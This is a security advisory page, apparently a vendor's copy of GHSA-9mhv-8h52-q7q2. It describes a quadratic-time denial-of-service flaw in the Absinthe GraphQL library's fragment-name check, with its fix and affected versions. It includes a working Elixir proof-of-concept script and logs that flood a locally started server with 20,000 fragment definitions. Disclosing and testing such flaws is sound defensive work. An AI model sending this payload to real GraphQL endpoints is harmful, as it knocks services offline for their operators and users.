GHSA-9mhv-8h52-q7q2
Fix: absinthe-graphql/absinthe@223600cGHSA-9mhv-8h52-q7q2 is a security vulnerability in absinthe. O3 Security confirms whether GHSA-9mhv-8h52-q7q2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Absinthe: Quadratic fragment-name uniqueness check
Real-World Exposure
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Description
Summary
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")
result =
if ms > 1000 do
"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
else
"NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
end
IO.puts(result)
Logs
HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💧Hex | absinthe | ≥ 1.2.0&&< 1.10.2 | 1.10.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for absinthe. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update absinthe to 1.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9mhv-8h52-q7q2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9mhv-8h52-q7q2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9mhv-8h52-q7q2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9mhv-8h52-q7q2 in your dependencies?
O3 detects GHSA-9mhv-8h52-q7q2 across Hex dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.